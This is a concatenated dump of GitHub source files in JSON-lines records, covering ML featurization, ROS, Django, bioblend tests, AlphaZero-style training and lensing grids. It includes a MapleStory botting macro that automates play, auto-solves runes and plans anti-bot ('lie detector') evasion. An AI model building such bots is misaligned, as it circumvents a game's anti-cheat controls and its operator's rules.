train_input = os.path.join(in_path, \"train.tsv\")\n test_input = os.path.join(in_path, \"test.tsv\")\n train_output = os.path.join(out_path, \"train.pkl\")\n test_output = os.path.join(out_path, \"test.pkl\")\n\n max_features = params[\"max_features\"]\n ngrams = params[\"ngrams\"]\n\n os.makedirs(out_path, exist_ok=True)\n\n bag_of_words = CountVectorizer(\n stop_words=\"english\", max_features=max_features, ngram_range=(1, ngrams)\n )\n tfidf = TfidfTransformer(smooth_idf=False)\n\n generate_and_save_train_features(\n train_input=train_input,\n train_output=train_output,\n bag_of_words=bag_of_words,\n tfidf=tfidf,\n )\n\n generate_and_save_test_features(\n test_input=test_input,\n test_output=test_output,\n bag_of_words=bag_of_words,\n tfidf=tfidf,\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"iterative/example-get-started","sub_path":"src/featurization.py","file_name":"featurization.py","file_ext":"py","file_size_in_byte":4158,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"3"} +{"seq_id":"30443615582","text":"#!/usr/bin/env python\nimport roslib; roslib.load_manifest('move')\nimport rospy\nfrom geometry_msgs.msg import Twist\n\n\n\ndef go():\n pub = rospy.Publisher('cmd_vel',Twist)\n rospy.init_node('move')\n\n s = rospy.myargv()[1:]\n\n #publish and quit\n twist = Twist()\n twist.linear.x = 0; twist.linear.y = 0; twist.linear.z = 0\n twist.angular.x = 0; twist.angular.y = 0; twist.angular.z = 0\n rospy.logerr(\"test\")\n if len(s) == 1:\n s = s[0]\n if s == \"forward\":\n rospy.logerr(\"test\")\n twist.linear.x = 1\n pub.publish(twist)\n elif s == \"backward\":\n twist.linear.x = -1\n pub.publish(twist)\n elif s == \"left\":\n twist.angular.z = 1\n pub.publish(twist)\n elif s == \"right\":\n twist.angular.z = -1\n pub.publish(twist)\n elif s == \"stop\":\n pub.publish(twist)\n return\n\n\n\ndef dtrace(s,x):\n rospy.loginfo(s+\" == %s\"%x)\n return x\n\nif __name__ == '__main__':\n go()\n\n\n\n","repo_name":"dutchcheesehead/ROSMAV","sub_path":"brown-ros-pkg-read-only/experimental/robot_dialog/move/bin/move.py","file_name":"move.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"35864998617","text":"from django.shortcuts import render\nfrom .models import *\n\n\n\ndef home(request):\n #for from\n if request.method == 'POST':\n name = request.POST['name']\n email = request.POST['email']\n subject = request.POST['subject']\n message = request.POST['message']\n \n new_massage = massage(name = name,email = email,sub = subject,text = massage)\n new_massage.save()\n \n #end from code\n my_services = services.objects.all()\n my_work = work.objects.all()\n my_about = about.objects.all()\n diction = {'myservices':my_services,'mywork':my_work,'myabout':my_about}\n return render(request,'home.html',context=diction)\n\n\n \n","repo_name":"masrafe53/resume_website","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15456931721","text":"\"\"\"\nThis sample code has been copied from\nhttps://github.com/ChrisDelClea/streamlit-agraph\n\"\"\"\n\nfrom streamlit_agraph import agraph, Node, Edge, Config\n\nnodes = []\nedges = []\nnodes.append( Node(id=\"Spiderman\",\n label=\"Peter Parker\",\n size=25,\n shape=\"circularImage\",\n image=\"http://marvel-force-chart.surge.sh/marvel_force_chart_img/top_spiderman.png\")\n ) # includes **kwargs\nnodes.append( Node(id=\"Captain_Marvel\",\n size=25,\n shape=\"circularImage\",\n image=\"http://marvel-force-chart.surge.sh/marvel_force_chart_img/top_captainmarvel.png\")\n )\nedges.append( Edge(source=\"Captain_Marvel\",\n label=\"friend_of\",\n target=\"Spiderman\",\n # **kwargs\n )\n )\n\nconfig = Config(width=500,\n height=500,\n # **kwargs\n )\n\nreturn_value = agraph(nodes=nodes,\n edges=edges,\n config=config)\n","repo_name":"whitphx/stlite","sub_path":"packages/sharing-editor/public/samples/012_custom_components/pages/agraph.py","file_name":"agraph.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":757,"dataset":"github-code","pt":"3"} +{"seq_id":"43021996475","text":"class Solution:\n def maxDepth(self, root: TreeNode) -> int:\n if root is None:\n return 0\n else:\n return max(self.maxDepth(root.left), self.maxDepth(root.right)) + 1\n \n'''\nLeetcode-Easy\n104. Maximum Depth of Binary Tree\nRuntime: 40 ms, faster than 71.38%\n'''\n","repo_name":"kaitlynning/Py-practice","sub_path":"104. Maximum Depth of Binary Tree.py","file_name":"104. Maximum Depth of Binary Tree.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69883939283","text":"import terrain_analyzer as ta\nfrom terrain_analyzer import METHOD_DROP, METHOD_MOVEL, METHOD_MOVER, METHOD_DBLJMP, METHOD_DBLJMP_HALF, METHOD_DBLJMP_MAX\nimport directinput_constants as dc\nimport macro_script\nimport logging, math, time, random\n\nclass CustomLogger:\n def __init__(self, logger_obj, logger_queue):\n self.logger_obj = logger_obj\n self.logger_queue = logger_queue\n\n def debug(self, *args):\n self.logger_obj.debug(\" \".join([str(x) for x in args]))\n if self.logger_queue:\n self.logger_queue.put((\"log\", \" \".join([str(x) for x in args])))\n\n def exception(self, *args):\n self.logger_obj.exception(\" \".join([str(x) for x in args]))\n if self.logger_queue:\n self.logger_queue.put((\"log\", \" \".join([str(x) for x in args])))\n\nclass MacroControllerAStar(macro_script.MacroController):\n \"\"\"\n This is a new port of MacroController from macro_script with improved pathing. MacroController Used PlatforScan,\n which is an tree search algorithm I implemented, and works at indivisual platform level. However, V2 uses A* path\n finding and works at pixel level, which allows more randomized and fluent moving.\n \"\"\"\n def loop(self):\n \"\"\"\n Main event loop for Macro\n Will now use current coordinates and A* to find a new path.\n :return: loop exit code(same as macro_script.py)\n \"\"\"\n random.seed((time.time() * 10**4) % 10 **3)\n\n if not self.player_manager.skill_counter_time:\n self.player_manager.skill_counter_time = time.time()\n if time.time() - self.player_manager.skill_counter_time > 60:\n print(\"skills casted in duration %d: %d skill/s: %f\"%(int(time.time() - self.player_manager.skill_counter_time), self.player_manager.skill_cast_counter, self.player_manager.skill_cast_counter/int(time.time() - self.player_manager.skill_counter_time)))\n self.logger.debug(\"skills casted in duration %d: %d skill/s: %f skill/s\"%(int(time.time() - self.player_manager.skill_counter_time), self.player_manager.skill_cast_counter, self.player_manager.skill_cast_counter/int(time.time() - self.player_manager.skill_counter_time)))\n self.player_manager.skill_cast_counter = 0\n self.player_manager.skill_counter_time = time.time()\n if not self.screen_capturer.ms_get_screen_hwnd():\n self.logger.debug(\"Failed to get MS screen rect\")\n self.abort()\n return -1\n\n # Update Screen\n self.screen_processor.update_image(set_focus=False)\n # Update Constants\n player_minimap_pos = self.screen_processor.find_player_minimap_marker()\n if not player_minimap_pos:\n return -1\n self.player_manager.update(player_minimap_pos[0], player_minimap_pos[1])\n\n # Placeholder for Lie Detector Detector (sounds weird)\n\n # End Placeholder\n\n # Check if player is on platform\n self.current_platform_hash = None\n get_current_platform = self.find_current_platform()\n if not get_current_platform:\n # Move to nearest platform and redo loop\n # Failed to find platform.\n self.platform_fail_loops += 1\n if self.platform_fail_loops >= self.platform_fail_loop_threshold:\n self.logger.debug(\"stuck. attempting unstick()...\")\n self.unstick_attempts += 1\n self.unstick()\n if self.unstick_attempts >= self.unstick_attempts_threshold:\n self.logger.debug(\"unstick() threshold reached. sending error code..\")\n return -2\n else:\n return 0\n else:\n self.platform_fail_loops = 0\n self.unstick_attempts = 0\n self.current_platform_hash = get_current_platform\n\n # Rune Detector\n self.player_manager.update()\n rune_platform_hash, rune_coords = self.find_rune_platform()\n if rune_platform_hash:\n self.logger.debug(\"need to solve rune at platform {0}\".format(rune_platform_hash))\n rune_solve_time_offset = (time.time() - self.player_manager.last_rune_solve_time)\n if rune_solve_time_offset >= self.player_manager.rune_cooldown or rune_solve_time_offset <= 30:\n self.navigate_to_rune_platform()\n time.sleep(1)\n self.rune_solver.press_space()\n time.sleep(1.5)\n solve_result = self.rune_solver.solve_auto()\n self.logger.debug(\"rune_solver.solve_auto results: %d\" % (solve_result))\n if solve_result == -1:\n self.logger.debug(\"rune_solver.solve_auto failed to solve\")\n for x in range(4):\n self.keyhandler.single_press(dc.DIK_LEFT)\n\n self.player_manager.last_rune_solve_time = time.time()\n self.current_platform_hash = rune_platform_hash\n time.sleep(0.5)\n # End Rune Detector\n\n # Start inter-platform movement\n dest_platform_hash = random.choice([key for key in self.terrain_analyzer.platforms.keys() if key != self.current_platform_hash])\n dest_platform = self.terrain_analyzer.platforms[dest_platform_hash]\n self.player_manager.update()\n random_platform_coord = (random.randint(dest_platform.start_x, dest_platform.end_x), dest_platform.start_y)\n # Once we have selected the platform to move, we can generate a path using A*\n pathlist = self.terrain_analyzer.astar_pathfind((self.player_manager.x, self.player_manager.y), random_platform_coord)\n print(pathlist)\n for mid_coord, method in pathlist:\n self.player_manager.update()\n print(mid_coord, method)\n if method == METHOD_MOVER or method == METHOD_MOVEL:\n self.player_manager.optimized_horizontal_move(mid_coord[0])\n elif method == METHOD_DBLJMP:\n interdelay = self.terrain_analyzer.calculate_vertical_doublejump_delay(self.player_manager.y, mid_coord[1])\n print(interdelay)\n self.player_manager.dbljump_timed(interdelay)\n elif method == METHOD_DROP:\n self.player_manager.drop()\n time.sleep(1)\n # End inter-platform movement\n\n self.player_manager.randomize_skill()\n\n # Other buffs\n self.player_manager.holy_symbol()\n self.player_manager.hyper_body()\n self.player_manager.release_overload()\n time.sleep(0.05)\n\n # Finished\n self.loop_count += 1\n return 0\n\n\n def navigate_to_rune_platform(self):\n \"\"\"\n Uses A* pathfinding to navigate to rune coord\n :return: None\n \"\"\"\n pass","repo_name":"Dashadower/MS-Visionify","sub_path":"src/macro_script_astar.py","file_name":"macro_script_astar.py","file_ext":"py","file_size_in_byte":6764,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"25670025132","text":"from pathlib import Path\nimport requests\n\ndef locateAll(root: str, glob: str, ignore: list):\n dir = Path(root)\n all = sorted(dir.glob(glob))\n print(f\"Located {len(all)} {glob} files: {[str(file) for file in all]}\")\n\n if ignore:\n ignore = {str(Path(root) / file) for file in ignore}\n files = [file for file in all if str(file) not in ignore]\n pruned = list(set(all) - set(files))\n print(f\"Ignored {len(pruned)} of located files: {[str(file) for file in pruned]}\")\n return files\n else:\n return all\n\ndef writeDataToFile(path: str, lines: list):\n print(\"Writing data to \" + path)\n\n with open(path, \"w\", encoding=\"utf8\") as file:\n file.writelines(lines)\n\ndef updateScript(path, url):\n source = url + path\n raw = requests.get(source)\n writeDataToFile(path, raw.text)\n\n# ======== #\n# MAIN #\n\ndef update(updateSource = \"https://raw.githubusercontent.com/StefanTodoran/milkyway-js/main/\"):\n print(\"\\nUpdating MilkywayJS...\")\n\n libs = locateAll(\"./lib/\", \"*.py\", [\"__init__.py\", \"update.py\"])\n paths = [str(file).replace(\"\\\\\", \"/\") for file in libs]\n \n for path in paths:\n updateScript(path, updateSource)\n updateScript(\"manage.py\", updateSource)\n\n print(f\"Updated all {len(libs)} lib files!\\n\")\n\nif __name__ == \"__main__\":\n update()\n exit(\"Update complete! Press CTRL+C to exit.\")","repo_name":"StefanTodoran/milkyway-js","sub_path":"lib/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25156861817","text":"\"\"\"\nThis script will take a source brain (where the data comes from) and an image brain \n(the brain whose images you want to display unstriped) and align the data from the point brain\nto the image brain. It first aligns the point brain data to the atlas, then that data\nto the image brain. It prints out the data by default and also will insert\ninto the database if given a layer name.\n\"\"\"\n\nimport argparse\nfrom tqdm import tqdm\nfrom pprint import pprint\nimport os\nimport sys\nfrom datetime import datetime\n\nHOME = os.path.expanduser(\"~\")\nDIR = os.path.join(HOME, 'programming/pipeline_utility/src')\nsys.path.append(DIR)\nfrom pipeline.Controllers.SqlController import SqlController\nfrom pipeline.lib.FileLocationManager import FileLocationManager\nfrom pipeline.utilities.utilities_alignment import parameter_elastix_parameter_file_to_dict\n\ndef slurp(animal):\n sqlController = SqlController(animal)\n fileLocationManager = FileLocationManager(animal)\n sqlController.clear_elastix(animal)\n\n\n INPUT = os.path.join(fileLocationManager.prep, 'CH1', 'thumbnail_cleaned')\n if not os.path.exists(INPUT):\n print(f'{INPUT} does not exist')\n sys.exit()\n ELASTIX = fileLocationManager.elastix_dir\n files = sorted(os.listdir(INPUT))\n for i in range(1, len(files)):\n fixed_index = os.path.splitext(files[i - 1])[0]\n moving_index = os.path.splitext(files[i])[0]\n\n new_dir = '{}_to_{}'.format(moving_index, fixed_index)\n output_subdir = os.path.join(ELASTIX, new_dir)\n filepath = os.path.join(output_subdir, 'TransformParameters.0.txt')\n\n if os.path.exists(filepath):\n d = parameter_elastix_parameter_file_to_dict(filepath)\n rotation, xshift, yshift = d['TransformParameters']\n sqlController.add_elastix_row(animal, moving_index, rotation, xshift, yshift)\n else:\n print(f'{filepath} does not exist')\n\n\n\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Work on Animal')\n parser.add_argument('--animal', help='Enter animal', required=True)\n parser.add_argument('--debug', help='Enter true of false', required=False, default='true')\n \n\n args = parser.parse_args()\n animal = args.animal\n debug = bool({'true': True, 'false': False}[str(args.debug).lower()])\n\n slurp(animal) \n\n","repo_name":"ActiveBrainAtlas2/preprocessing-pipeline","sub_path":"in_development/edward/fixes/slurp_elastix_files.py","file_name":"slurp_elastix_files.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"22726029792","text":"import os\nimport shutil\nimport tempfile\n\nfrom . import GalaxyTestBase, test_util\n\nFOO_DATA = 'foo\\nbar\\n'\n\n\nclass TestGalaxyLibraries(GalaxyTestBase.GalaxyTestBase):\n\n def setUp(self):\n super().setUp()\n self.name = 'automated test library'\n self.library = self.gi.libraries.create_library(self.name, description='automated test', synopsis='automated test synopsis')\n\n def tearDown(self):\n self.gi.libraries.delete_library(self.library['id'])\n\n def test_create_library(self):\n self.assertEqual(self.library['name'], self.name)\n self.assertIsNotNone(self.library['id'])\n\n def test_get_libraries(self):\n libraries_with_name = self.gi.libraries.get_libraries(name=self.name)\n self.assertEqual(len([l for l in libraries_with_name if l['id'] == self.library['id']]), 1)\n\n deleted_name = 'deleted test library'\n deleted_library_id = self.gi.libraries.create_library(deleted_name, description='a deleted library', synopsis='automated test synopsis')['id']\n self.gi.libraries.delete_library(deleted_library_id)\n deleted_libraries_with_name = self.gi.libraries.get_libraries(name=deleted_name, deleted=True)\n self.assertEqual(len([l for l in deleted_libraries_with_name if l['id'] == deleted_library_id]), 1)\n\n all_non_deleted_libraries = self.gi.libraries.get_libraries(deleted=False)\n self.assertEqual(len([l for l in all_non_deleted_libraries if l['id'] == self.library['id']]), 1)\n self.assertEqual([l for l in all_non_deleted_libraries if l['id'] == deleted_library_id], [])\n\n all_deleted_libraries = self.gi.libraries.get_libraries(deleted=True)\n self.assertEqual([l for l in all_deleted_libraries if l['id'] == self.library['id']], [])\n self.assertEqual(len([l for l in all_deleted_libraries if l['id'] == deleted_library_id]), 1)\n\n all_libraries = self.gi.libraries.get_libraries(deleted=None)\n self.assertEqual(len([l for l in all_libraries if l['id'] == self.library['id']]), 1)\n self.assertEqual(len([l for l in all_libraries if l['id'] == deleted_library_id]), 1)\n\n def test_show_library(self):\n library_data = self.gi.libraries.show_library(self.library['id'])\n self.assertEqual(self.library['id'], library_data['id'])\n self.assertEqual(self.library['name'], library_data['name'])\n\n def test_upload_file_from_url(self):\n self.gi.libraries.upload_file_from_url(self.library['id'], 'https://zenodo.org/record/582600/files/wildtype.fna?download=1')\n\n def test_upload_file_contents(self):\n self.gi.libraries.upload_file_contents(self.library['id'], FOO_DATA)\n\n def test_upload_file_from_local_path(self):\n with tempfile.NamedTemporaryFile(mode='w', prefix='bioblend_test_') as f:\n f.write(FOO_DATA)\n f.flush()\n self.gi.libraries.upload_file_from_local_path(self.library['id'], f.name)\n\n def test_upload_file_from_server(self):\n pass\n\n def test_upload_from_galaxy_filesystem(self):\n bnames = [f\"f{i}.txt\" for i in range(2)]\n tempdir = tempfile.mkdtemp(prefix='bioblend_test_')\n try:\n fnames = [os.path.join(tempdir, _) for _ in bnames]\n for fn in fnames:\n with open(fn, 'w') as f:\n f.write(FOO_DATA)\n filesystem_paths = '\\n'.join(fnames)\n ret = self.gi.libraries.upload_from_galaxy_filesystem(self.library['id'], filesystem_paths)\n for dataset_dict in ret:\n dataset = self.gi.libraries.wait_for_dataset(self.library['id'], dataset_dict['id'])\n self.assertEqual(dataset['state'], 'ok')\n ret = self.gi.libraries.upload_from_galaxy_filesystem(self.library['id'], filesystem_paths, link_data_only='link_to_files')\n for dataset_dict in ret:\n dataset = self.gi.libraries.wait_for_dataset(self.library['id'], dataset_dict['id'])\n self.assertEqual(dataset['state'], 'ok')\n finally:\n shutil.rmtree(tempdir)\n\n def test_copy_from_dataset(self):\n history = self.gi.histories.create_history()\n dataset_id = self._test_dataset(history['id'])\n self.gi.libraries.copy_from_dataset(self.library['id'], dataset_id, message='Copied from dataset')\n\n def test_update_dataset(self):\n library_id = self.library[\"id\"]\n dataset1 = self.gi.libraries.upload_file_contents(library_id, FOO_DATA)\n updated_dataset = self.gi.libraries.update_library_dataset(dataset1[0]['id'], name='Modified name', misc_info='Modified the name succesfully')\n self.assertEqual(updated_dataset[\"name\"], 'Modified name')\n self.assertEqual(updated_dataset[\"misc_info\"], 'Modified the name succesfully')\n\n def test_library_permissions(self):\n current_user = self.gi.users.get_current_user()\n user_id_list_new = [current_user['id']]\n self.gi.libraries.set_library_permissions(self.library['id'], access_in=user_id_list_new, modify_in=user_id_list_new, add_in=user_id_list_new, manage_in=user_id_list_new)\n ret = self.gi.libraries.get_library_permissions(self.library['id'])\n self.assertEqual({_[1] for _ in ret['access_library_role_list']}, set(user_id_list_new))\n self.assertEqual({_[1] for _ in ret['modify_library_role_list']}, set(user_id_list_new))\n self.assertEqual({_[1] for _ in ret['add_library_item_role_list']}, set(user_id_list_new))\n self.assertEqual({_[1] for _ in ret['manage_library_role_list']}, set(user_id_list_new))\n\n def test_dataset_permissions(self):\n current_user = self.gi.users.get_current_user()\n user_id_list_new = [current_user['id']]\n library_id = self.library[\"id\"]\n dataset1 = self.gi.libraries.upload_file_contents(library_id, FOO_DATA)\n ret = self.gi.libraries.set_dataset_permissions(dataset1[0]['id'], access_in=user_id_list_new, modify_in=user_id_list_new, manage_in=user_id_list_new)\n self.assertEqual({_[1] for _ in ret['access_dataset_roles']}, set(user_id_list_new))\n self.assertEqual({_[1] for _ in ret['modify_item_roles']}, set(user_id_list_new))\n self.assertEqual({_[1] for _ in ret['manage_dataset_roles']}, set(user_id_list_new))\n # test get_dataset_permissions\n ret_get = self.gi.libraries.get_dataset_permissions(dataset1[0]['id'])\n self.assertEqual({_[1] for _ in ret_get['access_dataset_roles']}, set(user_id_list_new))\n self.assertEqual({_[1] for _ in ret_get['modify_item_roles']}, set(user_id_list_new))\n self.assertEqual({_[1] for _ in ret_get['manage_dataset_roles']}, set(user_id_list_new))\n\n @test_util.skip_unless_galaxy('release_19.09')\n def test_upload_file_contents_with_tags(self):\n datasets = self.gi.libraries.upload_file_contents(self.library['id'], FOO_DATA, tags=[\"name:foobar\", \"barfoo\"])\n dataset_show = self.gi.libraries.show_dataset(self.library['id'], datasets[0]['id'])\n self.assertEqual(dataset_show['tags'], 'name:foobar, barfoo')\n\n @test_util.skip_unless_galaxy('release_19.09')\n def test_update_dataset_tags(self):\n datasets = self.gi.libraries.upload_file_contents(self.library['id'], FOO_DATA)\n dataset_show = self.gi.libraries.show_dataset(self.library['id'], datasets[0]['id'])\n self.assertEqual(dataset_show['tags'], \"\")\n\n updated_dataset = self.gi.libraries.update_library_dataset(datasets[0]['id'], tags=[\"name:foobar\", \"barfoo\"])\n dataset_show = self.gi.libraries.show_dataset(self.library['id'], updated_dataset['id'])\n\n self.assertEqual(dataset_show['tags'], 'name:foobar, barfoo')\n","repo_name":"violethaze74/galaxy","sub_path":"bioblend/_tests/TestGalaxyLibraries.py","file_name":"TestGalaxyLibraries.py","file_ext":"py","file_size_in_byte":7681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"8152970933","text":"import torch\nfrom glob import glob\nfrom torch.utils.data import TensorDataset, ConcatDataset, DataLoader\nimport numpy as np\nimport os\nfrom tensorboardX import SummaryWriter\n\nfrom train.Arena import Arena\nfrom game.Players import RandomPlayer, NNPlayer\n\nclass Coach:\n def __init__(self, game, nnet, args):\n np.random.seed()\n\n self.game = game\n self.nnet = nnet\n self.pnet = self.nnet.__class__(self.game)\n self.args = args\n\n networks = sorted(glob(self.args.checkpoint+'/*'))\n self.args.start_iter = len(networks)\n if self.args.start_iter == 0:\n self.nnet.save_checkpoint(\n folder=self.args.checkpoint, filename='iteration-0000.pkl')\n self.args.start_iter = 1\n\n self.nnet.load_checkpoint(\n folder=self.args.checkpoint, filename=f'iteration-{(self.args.start_iter-1):04d}.pkl')\n\n if self.args.run_name != '':\n self.writer = SummaryWriter(log_dir='runs/'+self.args.run_name)\n else:\n self.writer = SummaryWriter()\n\n def learn(self):\n for i in range(self.args.start_iter, self.args.num_iters + 1):\n print(f'------ITER {i}------')\n self.train(i)\n if self.args.compare_with_random and i % self.args.random_compare_freq == 0:\n self.compareToRandom(i)\n if self.args.compare_with_past and i % self.args.past_compare_freq == 0:\n self.compareToPast(i)\n print()\n self.writer.close()\n\n def train(self, iteration):\n datasets = []\n currentHistorySize = min(max(4, (iteration + 4)//2),self.args.num_iters_for_train_examples_history)\n for i in range(max(1, iteration - currentHistorySize), iteration + 1):\n data_tensor = torch.load(\n f'{self.args.data}/iteration-{i:04d}-data.pkl')\n policy_tensor = torch.load(\n f'{self.args.data}/iteration-{i:04d}-policy.pkl')\n value_tensor = torch.load(\n f'{self.args.data}/iteration-{i:04d}-value.pkl')\n datasets.append(TensorDataset(\n data_tensor, policy_tensor, value_tensor))\n\n dataset = ConcatDataset(datasets)\n dataloader = DataLoader(dataset, batch_size=self.args.train_batch_size, shuffle=True,\n num_workers=self.args.workers, pin_memory=True)\n\n train_steps = min(self.args.train_steps_per_iteration, \n 2 * (iteration + 1 - max(1, iteration - currentHistorySize)) * self.args.max_sample_num // self.args.train_batch_size)\n l_pi, l_v = self.nnet.train(dataloader, train_steps)\n self.writer.add_scalar('loss/policy', l_pi, iteration)\n self.writer.add_scalar('loss/value', l_v, iteration)\n self.writer.add_scalar('loss/total', l_pi + l_v, iteration)\n\n self.nnet.save_checkpoint(\n folder=self.args.checkpoint, filename=f'iteration-{iteration:04d}.pkl')\n\n del dataloader\n del dataset\n del datasets\n\n def compareToPast(self, iteration):\n past = max(0, iteration - 10)\n self.pnet.load_checkpoint(folder=self.args.checkpoint,\n filename=f'iteration-{past:04d}.pkl')\n print(f'PITTING AGAINST ITERATION {past}')\n pplayer = NNPlayer(self.game, self.pnet, self.args.arena_temp)\n nplayer = NNPlayer(self.game, self.nnet, self.args.arena_temp)\n\n arena = Arena(nplayer.play, pplayer.play, self.game)\n nwins, pwins, draws = arena.playGames(self.args.arena_compare)\n\n print(f'NEW/PAST WINS : {nwins} / {pwins} ; DRAWS : {draws}\\n')\n self.writer.add_scalar(\n 'win_rate/to past', float(nwins + 0.5 * draws) / (pwins + nwins + draws), iteration)\n\n def compareToRandom(self, iteration):\n r = RandomPlayer(self.game)\n nnplayer = NNPlayer(self.game, self.nnet, self.args.arena_temp)\n print('PITTING AGAINST RANDOM')\n\n arena = Arena(nnplayer.play, r.play, self.game)\n nwins, pwins, draws = arena.playGames(self.args.arena_compare_random)\n\n print(f'NEW/RANDOM WINS : {nwins} / {pwins} ; DRAWS : {draws}\\n')\n self.writer.add_scalar(\n 'win_rate/to random', float(nwins + 0.5 * draws) / (pwins + nwins + draws), iteration)","repo_name":"ACMClassCourse-2021/PPCA-AIBattle-2022","sub_path":"train/Coach.py","file_name":"Coach.py","file_ext":"py","file_size_in_byte":4302,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"35823674831","text":"#!/usr/bin/python3\n\nimport math\n\ndef max_moves(Xf) :\n X = 0\n Y = 0\n moves = 0\n while X < Xf :\n P = int(math.sqrt(Y)) +1\n X = P\n if X > Xf :\n break\n Y += P**2\n moves += 1\n return moves\n\ntry :\n T = int(input())\nexcept :\n quit()\n\nfor test_case in range(T) :\n Xf = int(input())\n print(max_moves(Xf))\n","repo_name":"Subhash3/CodeChef","sub_path":"July_Cook_off/two_variables.py","file_name":"two_variables.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28827512004","text":"import grid_util\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport autolens as al \nimport os\n\ncurrent_dir, current_file_name = os.path.split(os.path.abspath(__file__))\n\n#test data-dpsi pairing\ngrid_data = al.Grid2D.uniform(shape_native=(100,100), pixel_scales=0.1, sub_size=1)\nxgrid_data = grid_data.native[:,:,1]\nygrid_data = grid_data.native[:,:,0]\nrgrid = np.sqrt(xgrid_data**2 + ygrid_data**2)\nannular_mask = (rgrid>4.0) #np.logical_or(rgrid<1.0, rgrid>4.0)\ngrid_obj = grid_util.SparseDpsiGrid(annular_mask, 0.1, shape_2d_dpsi=(50,50))\ngrid_obj.show_grid()\ndef test_func(xgrid, ygrid):\n return 2*xgrid + 3*ygrid\ndata_image2d_true = test_func(grid_obj.xgrid_data, grid_obj.ygrid_data)\ndpsi_image2d_true = test_func(grid_obj.xgrid_dpsi, grid_obj.ygrid_dpsi)\ndata_image1d_true = test_func(grid_obj.xgrid_data_1d, grid_obj.ygrid_data_1d)\ndpsi_image1d_true = test_func(grid_obj.xgrid_dpsi_1d, grid_obj.ygrid_dpsi_1d)\ndata_image2d_recover = np.zeros_like(data_image2d_true)\ndata_image2d_recover.reshape(-1)[grid_obj.indices_1d_data] = data_image1d_true[:] #should not use flatten() here!!!\ndpsi_image2d_recover = np.zeros_like(dpsi_image2d_true)\ndpsi_image2d_recover.reshape(-1)[grid_obj.indices_1d_dpsi] = dpsi_image1d_true[:]\ndata_image1d_map = np.matmul(grid_obj.map_matrix, dpsi_image1d_true) \ndata_image2d_map = np.zeros_like(data_image2d_true)\ndata_image2d_map.reshape(-1)[grid_obj.indices_1d_data] = data_image1d_map[:]\nplt.figure(figsize=(10,15))\nplt.subplot(321)\nplt.imshow(data_image2d_true, extent=grid_obj.image_bound)\nplt.colorbar(fraction=0.046, pad=0.04)\nplt.subplot(322)\nplt.imshow(dpsi_image2d_true, extent=grid_obj.image_bound)\nplt.colorbar(fraction=0.046, pad=0.04)\nplt.subplot(323)\nplt.imshow(data_image2d_recover, extent=grid_obj.image_bound)\nplt.colorbar(fraction=0.046, pad=0.04)\nplt.subplot(324)\nplt.imshow(dpsi_image2d_recover, extent=grid_obj.image_bound)\nplt.colorbar(fraction=0.046, pad=0.04)\nplt.subplot(325)\nplt.imshow(data_image2d_map, extent=grid_obj.image_bound)\nplt.colorbar(fraction=0.046, pad=0.04)\nplt.subplot(326)\nplt.imshow(data_image2d_map-data_image2d_recover, extent=grid_obj.image_bound)\nplt.colorbar(fraction=0.046, pad=0.04)\nplt.savefig(f'{current_dir}/png/itp_image.png')\nplt.close()","repo_name":"caoxiaoyue/potential_correction","sub_path":"api/grid/show_dpsi2data_interpol.py","file_name":"show_dpsi2data_interpol.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13770097287","text":"\"\"\"\nSquare path.\n\n\"\"\"\n\nfrom __future__ import absolute_import\n#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module.\nimport __init__\n\nfrom fabmetheus_utilities.geometry.creation import lineation\nfrom fabmetheus_utilities.geometry.geometry_utilities import evaluate\nfrom fabmetheus_utilities.vector3 import Vector3\nfrom fabmetheus_utilities import euclidean\nimport math\n\n\n__author__ = 'Enrique Perez (perez_enrique@yahoo.com)'\n__credits__ = 'Art of Illusion '\n__date__ = \"$Date: 2008/02/05 $\"\n__license__ = 'GPL 3.0'\n\n\ndef getGeometryOutput(derivation, xmlElement):\n\t\"Get vector3 vertexes from attribute dictionary.\"\n\tif derivation == None:\n\t\tderivation = LineDerivation()\n\t\tderivation.setToXMLElement(xmlElement)\n\tendMinusStart = derivation.end - derivation.start\n\tendMinusStartLength = abs(endMinusStart)\n\tif endMinusStartLength <= 0.0:\n\t\tprint('Warning, end is the same as start in getGeometryOutput in line for:')\n\t\tprint(derivation.start)\n\t\tprint(derivation.end)\n\t\tprint(xmlElement)\n\t\treturn None\n\ttypeStringTwoCharacters = derivation.typeString.lower()[: 2]\n\txmlElement.attributeDictionary['closed'] = str(derivation.closed)\n\tif derivation.step == None and derivation.steps == None:\n\t\treturn lineation.getGeometryOutputByLoop(lineation.SideLoop([derivation.start, derivation.end]), xmlElement)\n\tloop = [derivation.start]\n\tif derivation.step != None and derivation.steps != None:\n\t\tstepVector = derivation.step / endMinusStartLength * endMinusStart\n\t\tderivation.end = derivation.start + stepVector * derivation.steps\n\t\treturn getGeometryOutputByStep(derivation.end, loop, derivation.steps, stepVector, xmlElement)\n\tif derivation.step == None:\n\t\tstepVector = endMinusStart / 